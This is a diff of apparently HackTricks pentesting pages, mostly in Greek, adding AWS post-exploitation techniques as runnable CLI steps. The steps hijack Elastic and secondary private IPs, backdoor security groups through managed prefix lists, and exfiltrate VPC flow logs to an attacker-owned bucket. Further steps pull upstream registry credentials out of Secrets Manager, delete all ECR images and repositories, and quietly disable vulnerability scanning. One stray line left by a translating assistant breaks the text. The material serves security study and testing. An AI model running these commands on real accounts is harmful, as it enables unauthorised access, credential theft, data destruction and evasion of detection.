ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION +``` +4) Επαληθεύστε ότι το EIP πλέον επιλύεται στην attacker service +```bash +sleep 5; curl -sS http://$EIP | grep -i attacker +``` +Απόδειξη (μεταφερθείσα συσχέτιση): +```bash +aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \ +--query Addresses[0].AssociationId --output text +``` +## Επιπτώσεις +- Inbound impersonation: Όλη η κίνηση προς το hijacked EIP παραδίδεται στο attacker instance/ENI. +- Outbound impersonation: Ο attacker μπορεί να ξεκινήσει κίνηση που φαίνεται να προέρχεται από το allowlisted public IP (χρήσιμο για την παράκαμψη φίλτρων partner/external source IP). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md new file mode 100644 index 000000000..eec327011 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md @@ -0,0 +1,50 @@ +# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass) + +{{#include ../../../../banners/hacktricks-training.md}} + +Κακοποιήστε τις `ec2:UnassignPrivateIpAddresses` και `ec2:AssignPrivateIpAddresses` για να κλέψετε τη δευτερεύουσα private IP ενός θύματος ENI και να τη μεταφέρετε σε ένα ENI επιτιθέμενου στο ίδιο subnet/AZ. Πολλές εσωτερικές υπηρεσίες και security groups περιορίζουν την πρόσβαση με βάση συγκεκριμένες private IP. Με τη μετακίνηση αυτής της δευτερεύουσας διεύθυνσης, ο επιτιθέμενος προσποιείται τον έμπιστο host σε επίπεδο L3 και μπορεί να προσεγγίσει allowlisted υπηρεσίες. + +Προαπαιτούμενα: +- Δικαιώματα: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` στο ARN του ENI του θύματος, και `ec2:AssignPrivateIpAddresses` στο ARN του ENI του επιτιθέμενου. +- Και τα δύο ENI πρέπει να βρίσκονται στο ίδιο subnet/AZ. Η στοχευόμενη διεύθυνση πρέπει να είναι δευτερεύουσα IP (η primary δεν μπορεί να απελευθερωθεί). + +Μεταβλητές: +- REGION=us-east-1 +- VICTIM_ENI= +- ATTACKER_ENI= +- PROTECTED_SG= # SG σε υπηρεσία-στόχο που επιτρέπει μόνο το $HIJACK_IP +- PROTECTED_HOST= + +Βήματα: +1) Επιλέξτε μια δευτερεύουσα IP από το ENI του θύματος +```bash +aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP +export HIJACK_IP=$(cat HIJACK_IP) +``` +2) Διασφαλίστε ότι ο protected host επιτρέπει μόνο εκείνη την IP (idempotent). Αν χρησιμοποιείτε SG-to-SG rules αντί για αυτό, παραλείψτε. +```bash +aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true +``` +3) Βασική κατάσταση: από το attacker instance, το αίτημα προς PROTECTED_HOST θα πρέπει να αποτύχει χωρίς πλαστογραφημένη προέλευση (π.χ., μέσω SSM/SSH) +```bash +curl -sS --max-time 3 http://$PROTECTED_HOST || true +``` +4) Αποδεσμεύστε το secondary IP από το victim ENI +```bash +aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +5) Εκχωρήστε την ίδια IP στο attacker ENI (στο AWS CLI v1 προσθέστε `--allow-reassignment`) +```bash +aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +6) Επαληθεύστε ότι η ιδιοκτησία έχει μεταφερθεί +```bash +aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP +``` +7) Από το attacker instance, κάντε source-bind στην hijacked IP για να φτάσετε τον protected host (βεβαιωθείτε ότι η IP είναι ρυθμισμένη στο OS; αν όχι, προσθέστε την με `ip addr add $HIJACK_IP/ dev eth0`) +```bash +curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out +``` +## Επιπτώσεις +- Παράκαμψη των IP allowlists και μίμηση των trusted hosts εντός του VPC με μετακίνηση των secondary private IPs μεταξύ ENIs στο ίδιο subnet/AZ. +- Πρόσβαση σε εσωτερικές υπηρεσίες που ελέγχουν την πρόσβαση με βάση συγκεκριμένες source IPs, επιτρέποντας lateral movement και πρόσβαση σε δεδομένα. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md new file mode 100644 index 000000000..693a414f8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md @@ -0,0 +1,72 @@ +# AWS - Security Group Backdoor via Managed Prefix Lists + +{{#include ../../../../banners/hacktricks-training.md}} + +## Περίληψη +Καταχρήση των customer-managed Prefix Lists για να δημιουργηθεί ένα κρυφό μονοπάτι πρόσβασης. Εάν ένας κανόνας security group (SG) αναφέρεται σε managed Prefix List, οποιοσδήποτε έχει τη δυνατότητα να τροποποιήσει αυτή τη λίστα μπορεί σιωπηλά να προσθέσει attacker-controlled CIDRs. Κάθε SG (και ενδεχομένως Network ACL ή VPC endpoint) που αναφέρεται στη λίστα επιτρέπει αμέσως τις νέες περιοχές χωρίς καμία εμφανή αλλαγή στο SG. + +## Επιπτώσεις +- Άμεση επέκταση των επιτρεπόμενων IP ranges για όλα τα SG που αναφέρονται στην prefix list, παρακάμπτοντας τους ελέγχους αλλαγών που παρακολουθούν μόνο τις επεξεργασίες των SG. +- Επιτρέπει επίμονες ingress/egress backdoors: διατηρήστε το malicious CIDR κρυμμένο στην prefix list ενώ ο κανόνας του SG φαίνεται αμετάβλητος. + +## Απαιτήσεις +- IAM permissions: +- `ec2:DescribeManagedPrefixLists` +- `ec2:GetManagedPrefixListEntries` +- `ec2:ModifyManagedPrefixList` +- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs) +- Προαιρετικό: `ec2:CreateManagedPrefixList` if creating a new one for testing. +- Περιβάλλον: Τουλάχιστον ένας κανόνας SG που αναφέρεται στην στοχευμένη customer-managed Prefix List. + +## Μεταβλητές +```bash +REGION=us-east-1 +PREFIX_LIST_ID= +ENTRY_CIDR= +DESCRIPTION="Backdoor – allow attacker" +``` +## Βήματα Επίθεσης + +1) **Καταγράψτε (enumerate) τα υποψήφια prefix lists και τους consumers** +```bash +aws ec2 describe-managed-prefix-lists \ +--region "$REGION" \ +--query 'PrefixLists[?OwnerId==``].[PrefixListId,PrefixListName,State,MaxEntries]' \ +--output table + +aws ec2 get-managed-prefix-list-entries \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--region "$REGION" \ +--query 'Entries[*].[Cidr,Description]' +``` +Χρησιμοποιήστε `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` για να επιβεβαιώσετε ποιοι κανόνες SG εξαρτώνται από τη λίστα. + +2) **Προσθέστε attacker CIDR στη prefix list** +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \ +--region "$REGION" +``` +3) **Επαληθεύστε τη διάδοση προς τα security groups** +```bash +aws ec2 describe-security-group-rules \ +--region "$REGION" \ +--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \ +--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \ +--output table +``` +Η κυκλοφορία από `$ENTRY_CIDR` επιτρέπεται πλέον όπου γίνεται αναφορά στην prefix list (συνήθως στους κανόνες εξερχόμενης κυκλοφορίας σε egress proxies ή στους εισερχόμενους κανόνες σε shared services). + +## Αποδείξεις +- `get-managed-prefix-list-entries` αντικατοπτρίζει το CIDR του επιτιθέμενου και την περιγραφή. +- `describe-security-group-rules` εξακολουθεί να εμφανίζει τον αρχικό κανόνα SG που αναφέρεται στην prefix list (δεν καταγράφηκε τροποποίηση του SG), παρ' όλα αυτά η κίνηση από το νέο CIDR επιτυγχάνει. + +## Καθαρισμός +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--remove-entries Cidr="$ENTRY_CIDR" \ +--region "$REGION" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md new file mode 100644 index 000000000..e372a7d07 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md @@ -0,0 +1,68 @@ +# AWS – Παράκαμψη Egress από Απομονωμένα Subnets μέσω VPC Endpoints + +{{#include ../../../../banners/hacktricks-training.md}} + +## Περίληψη + +Αυτή η τεχνική εκμεταλλεύεται τα VPC Endpoints για να δημιουργήσει κανάλια εξαγωγής (exfiltration) από subnets χωρίς Internet Gateways ή NAT. Οι Gateway endpoints (π.χ. S3) προσθέτουν prefix‑list routes στους πίνακες δρομολόγησης των subnets· οι Interface endpoints (π.χ. execute-api, secretsmanager, ssm κ.λπ.) δημιουργούν προσεγγίσιμα ENIs με ιδιωτικές IP προστατευμένες από security groups. Με ελάχιστα δικαιώματα VPC/EC2, ένας επιτιθέμενος μπορεί να ενεργοποιήσει ελεγχόμενο egress που δεν διέρχεται από το public Internet. + +> Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs. + +## Επιλογή A – S3 Gateway VPC Endpoint + +**Μεταβλητές** +- `REGION=us-east-1` +- `VPC_ID=` +- `RTB_IDS=` + +1) Δημιουργήστε ένα χαλαρό αρχείο πολιτικής endpoint (προαιρετικό). Αποθηκεύστε ως `allow-put-get-any-s3.json`: +```json +{ +"Version": "2012-10-17", +"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] +} +``` +2) Δημιουργήστε το S3 Gateway endpoint (προσθέτει S3 prefix‑list route στους επιλεγμένους πίνακες δρομολόγησης): +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.s3 \ +--vpc-endpoint-type Gateway \ +--route-table-ids $RTB_IDS \ +--policy-document file://allow-put-get-any-s3.json # optional +``` +Evidence to capture: +- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` εμφανίζει μια διαδρομή προς την AWS S3 prefix list (π.χ., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`). +- Από ένα instance σε αυτά τα subnets (με IAM perms) μπορείτε να exfil μέσω S3 χωρίς διαδίκτυο: +```bash +# On the isolated instance (e.g., via SSM): +echo data > /tmp/x.txt +aws s3 cp /tmp/x.txt s3:///egress-test/x.txt --region $REGION +``` +## Επιλογή B – Interface VPC Endpoint για API Gateway (execute-api) + +**Μεταβλητές** +- `REGION=us-east-1` +- `VPC_ID=` +- `SUBNET_IDS=` +- `SG_VPCE=` + +1) Δημιουργήστε το interface endpoint και επισυνάψτε το SG: +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.execute-api \ +--vpc-endpoint-type Interface \ +--subnet-ids $SUBNET_IDS \ +--security-group-ids $SG_VPCE \ +--private-dns-enabled +``` +Στοιχεία προς συλλογή: +- `aws ec2 describe-vpc-endpoints` δείχνει το endpoint σε κατάσταση `available` με `NetworkInterfaceIds` (ENIs στα υποδίκτυά σας). +- Οι instances σε αυτά τα υποδίκτυα μπορούν να προσεγγίσουν Private API Gateway endpoints μέσω αυτών των VPCE ENIs (δεν απαιτείται διαδρομή στο Internet). + +## Επιπτώσεις +- Παρακάμπτει τους perimeter egress controls αξιοποιώντας AWS‑managed private paths προς AWS services. +- Επιτρέπει data exfiltration από απομονωμένα υποδίκτυα (π.χ., εγγραφή σε S3; κλήση Private API Gateway; πρόσβαση σε Secrets Manager/SSM/STS, κ.λπ.) χωρίς IGW/NAT. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md new file mode 100644 index 000000000..7b07523a5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md @@ -0,0 +1,74 @@ +# AWS - VPC Flow Logs Cross-Account Exfiltration to S3 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Περίληψη +Κακοχρησιμοποιήστε `ec2:CreateFlowLogs` για να εξάγετε VPC, subnet, ή ENI flow logs απευθείας σε ένα S3 bucket που ελέγχεται από attacker. Μόλις το delivery role διαμορφωθεί ώστε να γράφει στο εξωτερικό bucket, κάθε σύνδεση που παρατηρείται στον παρακολουθούμενο πόρο εξάγεται έξω από το victim account. + +## Απαιτήσεις +- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created). +- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`. +- Προαιρετικό: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here). + +## Περιγραφή Επίθεσης + +1) **Attacker** προετοιμάζει μια πολιτική S3 bucket (στο attacker account) που επιτρέπει στην υπηρεσία VPC Flow Logs delivery να γράφει αντικείμενα. Αντικαταστήστε τα placeholders πριν την εφαρμογή: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowVPCFlowLogsDelivery", +"Effect": "Allow", +"Principal": { "Service": "delivery.logs.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::/flowlogs/*", +"Condition": { +"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } +} +} +] +} +``` +Εφαρμόστε από τον λογαριασμό του επιτιθέμενου: +```bash +aws s3api put-bucket-policy \ +--bucket \ +--policy file://flowlogs-policy.json +``` +2) **Victim** (compromised principal) δημιουργεί τα flow logs που στοχεύουν το attacker bucket: +```bash +REGION=us-east-1 +VPC_ID= +ROLE_ARN= # Must allow delivery.logs.amazonaws.com to assume it +aws ec2 create-flow-logs \ +--resource-type VPC \ +--resource-ids "$VPC_ID" \ +--traffic-type ALL \ +--log-destination-type s3 \ +--log-destination arn:aws:s3:::/flowlogs/ \ +--deliver-logs-permission-arn "$ROLE_ARN" \ +--region "$REGION" +``` +Μέσα σε λίγα λεπτά, αρχεία flow log εμφανίζονται στον attacker bucket τα οποία περιέχουν συνδέσεις για όλες τις ENIs στο παρακολουθούμενο VPC/subnet. + +## Αποδεικτικά στοιχεία + +Δείγματα εγγραφών flow log που γράφτηκαν στον attacker bucket: +```text +version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status +2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK +``` +Απόδειξη λίστας Bucket: +```bash +aws s3 ls s3:///flowlogs/ --recursive --human-readable --summarize +``` +## Επιπτώσεις +- Συνεχής εξαγωγή μεταδεδομένων δικτύου (source/destination IPs, ports, protocols) για το παρακολουθούμενο VPC/subnet/ENI. +- Επιτρέπει traffic analysis, identification of sensitive services, και potential hunting για security group misconfigurations από έξω από τον λογαριασμό του θύματος. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md deleted file mode 100644 index e26bec94f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ /dev/null @@ -1,92 +0,0 @@ -# AWS - ECR Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Για περισσότερες πληροφορίες ελέγξτε - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Σύνδεση, Λήψη & Αποστολή -```bash -# Docker login into ecr -## For public repo (always use us-east-1) -aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ -## For private repo -aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com -## If you need to acces an image from a repo if a different account, in set the account number of the other account - -# Download -docker pull .dkr.ecr..amazonaws.com/:latest -## If you still have the error "Requested image not found" -## It might be because the tag "latest" doesn't exit -## Get valid tags with: -TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') -curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list - -# Inspect the image -docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 - -# Upload (example uploading purplepanda with tag latest) -docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest -docker push .dkr.ecr..amazonaws.com/purplepanda:latest - -# Downloading without Docker -# List digests -aws ecr batch-get-image --repository-name level2 \ ---registry-id 653711331788 \ ---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' - -## Download a digest -aws ecr get-download-url-for-layer \ ---repository-name level2 \ ---registry-id 653711331788 \ ---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" -``` -Μετά τη λήψη των εικόνων, θα πρέπει να **ελέγξετε αν περιέχουν ευαίσθητες πληροφορίες**: - -{{#ref}} -https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html -{{#endref}} - -### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` - -Ένας επιτιθέμενος με οποιαδήποτε από αυτές τις άδειες μπορεί να **δημιουργήσει ή να τροποποιήσει μια πολιτική κύκλου ζωής για να διαγράψει όλες τις εικόνες στο αποθετήριο** και στη συνέχεια να **διαγράψει ολόκληρο το αποθετήριο ECR**. Αυτό θα είχε ως αποτέλεσμα την απώλεια όλων των εικόνων κοντέινερ που είναι αποθηκευμένες στο αποθετήριο. -```bash -bashCopy code# Create a JSON file with the malicious lifecycle policy -echo '{ -"rules": [ -{ -"rulePriority": 1, -"description": "Delete all images", -"selection": { -"tagStatus": "any", -"countType": "imageCountMoreThan", -"countNumber": 0 -}, -"action": { -"type": "expire" -} -} -] -}' > malicious_policy.json - -# Apply the malicious lifecycle policy to the ECR repository -aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json - -# Delete the ECR repository -aws ecr delete-repository --repository-name your-ecr-repo-name --force - -# Delete the ECR public repository -aws ecr-public delete-repository --repository-name your-ecr-repo-name --force - -# Delete multiple images from the ECR repository -aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 - -# Delete multiple images from the ECR public repository -aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md new file mode 100644 index 000000000..3bf0ff092 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -0,0 +1,210 @@ +# AWS - ECR Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Για περισσότερες πληροφορίες δείτε + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Login, Pull & Push +```bash +# Docker login into ecr +## For public repo (always use us-east-1) +aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ +## For private repo +aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com +## If you need to acces an image from a repo if a different account, in set the account number of the other account + +# Download +docker pull .dkr.ecr..amazonaws.com/:latest +## If you still have the error "Requested image not found" +## It might be because the tag "latest" doesn't exit +## Get valid tags with: +TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') +curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list + +# Inspect the image +docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 +docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL + +# Upload (example uploading purplepanda with tag latest) +docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest +docker push .dkr.ecr..amazonaws.com/purplepanda:latest + +# Downloading without Docker +# List digests +aws ecr batch-get-image --repository-name level2 \ +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' + +## Download a digest +aws ecr get-download-url-for-layer \ +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +``` +Μετά τη λήψη των images θα πρέπει να τα ελέγξετε για ευαίσθητες πληροφορίες: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` + +Ένας επιτιθέμενος με οποιαδήποτε από αυτές τις άδειες μπορεί να **δημιουργήσει ή να τροποποιήσει ένα lifecycle policy για να διαγράψει όλα τα images στο repository** και στη συνέχεια να **διαγράψει ολόκληρο το ECR repository**. Αυτό θα έχει ως αποτέλεσμα την απώλεια όλων των container images που είναι αποθηκευμένα στο repository. +```bash +# Create a JSON file with the malicious lifecycle policy +echo '{ +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] +}' > malicious_policy.json + +# Apply the malicious lifecycle policy to the ECR repository +aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json + +# Delete the ECR repository +aws ecr delete-repository --repository-name your-ecr-repo-name --force + +# Delete the ECR public repository +aws ecr-public delete-repository --repository-name your-ecr-repo-name --force + +# Delete multiple images from the ECR repository +aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 + +# Delete multiple images from the ECR public repository +aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) + +Εάν το ECR Pull‑Through Cache έχει ρυθμιστεί για επαληθευμένους upstream registries (Docker Hub, GHCR, ACR, κ.λπ.), τα upstream credentials αποθηκεύονται στο AWS Secrets Manager με προβλέψιμο πρόθεμα ονόματος: `ecr-pullthroughcache/`. Οι operators μερικές φορές παρέχουν στους ECR admins ευρεία πρόσβαση ανάγνωσης στο Secrets Manager, επιτρέποντας την credential exfiltration και την επαναχρησιμοποίηση εκτός AWS. + +Απαιτήσεις +- secretsmanager:ListSecrets +- secretsmanager:GetSecretValue + +Απαρίθμηση υποψήφιων PTC secrets +```bash +aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ +--output text +``` +Εξαγωγή ανακαλυφθέντων secrets και ανάλυση κοινών πεδίων +```bash +for s in $(aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do +aws secretsmanager get-secret-value --secret-id "$s" \ +--query SecretString --output text | tee /tmp/ptc_secret.json +jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true +jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true +done +``` +Προαιρετικό: επαληθεύστε τα leaked creds έναντι του upstream (read‑only login) +```bash +echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io +``` +Impact +- Η ανάγνωση αυτών των εγγραφών του Secrets Manager αποκαλύπτει επαναχρησιμοποιήσιμα upstream registry credentials (username/password or token), τα οποία μπορούν να καταχραστούν εκτός AWS για να pull private images ή να αποκτήσουν πρόσβαση σε επιπλέον repositories ανάλογα με τα upstream permissions. + + +### Registry-level stealth: απενεργοποίηση ή υποβάθμιση του scanning μέσω `ecr:PutRegistryScanningConfiguration` + +Ένας επιτιθέμενος με δικαιώματα ECR σε επίπεδο registry μπορεί αθόρυβα να μειώσει ή να απενεργοποιήσει το automatic vulnerability scanning για ALL repositories, ρυθμίζοντας το registry scanning configuration σε BASIC χωρίς κανόνες scan-on-push. Αυτό εμποδίζει τα νέα image pushes να σαρώνονται αυτόματα, κρύβοντας vulnerable ή malicious images. + +Requirements +- ecr:PutRegistryScanningConfiguration +- ecr:GetRegistryScanningConfiguration +- ecr:PutImageScanningConfiguration (optional, per‑repo) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) + +Registry-wide downgrade to manual (no auto scans) +```bash +REGION=us-east-1 +# Read current config (save to restore later) +aws ecr get-registry-scanning-configuration --region "$REGION" + +# Set BASIC scanning with no rules (results in MANUAL scanning only) +aws ecr put-registry-scanning-configuration \ +--region "$REGION" \ +--scan-type BASIC \ +--rules '[]' +``` +Δοκιμή με ένα repo και ένα image +```bash +acct=$(aws sts get-caller-identity --query Account --output text) +repo=ht-scan-stealth +aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile +docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test + +# Verify no scan ran automatically +aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' +# Optional: will error with ScanNotFoundException if no scan exists +aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true +``` +I don't have the README.md contents. Παρακαλώ επικόλλησε το περιεχόμενο του αρχείου src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md που θες να μεταφράσω (ή διέγραψε/πάρε πρόσβαση στο κείμενο). +```bash +# Disable scan-on-push for a specific repository +aws ecr put-image-scanning-configuration \ +--region "$REGION" \ +--repository-name "$repo" \ +--image-scanning-configuration scanOnPush=false +``` +Επίπτωση +- New image pushes across the registry are not scanned automatically, reducing visibility of vulnerable or malicious content and delaying detection until a manual scan is initiated. + + +### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) + +Μειώστε την ποιότητα ανίχνευσης ευπαθειών σε ολόκληρο το registry αλλάζοντας τον BASIC scan engine από τον προεπιλεγμένο AWS_NATIVE στον legacy CLAIR engine. Αυτό δεν απενεργοποιεί τη σάρωση αλλά μπορεί να αλλάξει ουσιωδώς τα ευρήματα/την κάλυψη. Συνδυάστε με μια BASIC registry scanning configuration χωρίς κανόνες για να καταστήσετε τις scans μόνο χειροκίνητες. + +Απαιτήσεις +- `ecr:PutAccountSetting`, `ecr:GetAccountSetting` +- (Προαιρετικό) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` + +Επίπτωση +- Registry setting `BASIC_SCAN_TYPE_VERSION` set to `CLAIR` so subsequent BASIC scans run with the downgraded engine. CloudTrail records the 